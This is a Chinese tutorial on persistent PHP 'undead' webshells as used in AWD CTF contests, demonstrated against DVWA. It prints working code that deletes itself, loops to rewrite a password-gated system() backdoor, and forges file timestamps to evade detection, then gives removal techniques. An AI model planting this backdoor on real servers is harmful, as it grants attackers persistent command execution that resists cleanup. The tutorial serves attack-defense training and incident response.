基本概念

PHP内存性木马即PHP不死马,一般会删除自身以进程的形式循环创建隐蔽的后门。

通常在AWD Web题中用得较多。

Demo及原理

nodie.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '/var/www/dvwa/.ski12.php';
$code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
while (1) {
file_put_contents($file, $code);
system('touch -m -d "2018-12-01 09:10:12" .ski12.php');
usleep(5000);
}
?>

简单分析:

ignore_user_abort()函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。

set_time_limit()函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。

unlink(__FILE__)删除文件本身,以起到隐蔽自身的作用。

while循环内每隔usleep(5000)即写新的后门文件,中间system()执行的命令用于修改文件的创建或修改时间,可以绕过“find –name \’*.php\’ –mmin -10”命令检测最近10分钟修改或新创建的PHP文件,但不一定有用,可选。

至于最后生成的隐蔽后门在需要校验一个POST参数的MD5值,原因在于防止其他人可以进行利用。

这里以DVWA为示例:

先找到上传点上传nodie.php:

访问文件所在路径让其执行,等待一会发现404,该文件不存在:

一般而言分两种情况,一种是乐观的、即文件执行成功且删除了自身、生成了隐蔽的后门;另一种是被干掉了。
直接访问我们设置生成的隐蔽后门的路径检测一下是否真的生成了后门文件:

虽然没有返回,但确实存在该文件,接着直接利用即可:

以运维的视角尝试删除文件,发现删不掉:

查杀方法

1、如果允许,重启服务是万能的;

2、其次,最好的解决方案是kill掉www-data用户的所有子进程:

ps aux | grep www-data | awk ‘{print $2}’ | xargs kill -9

3、创建一个和不死马生成的马一样名字的目录;

4、编写一个使用ignore_user_abort(true)函数的脚本,一直竞争写入删除不死马文件,其中usleep()的时间必须要小于不死马的usleep()时间才会有效果。简单示例:

1
2
3
4
5
6
7
8
<?php
while (1) {
$pid = 不死马的进程PID;
@unlink(".ski12.php");
exec("kill -9 $pid");
usleep(1000);
}
?>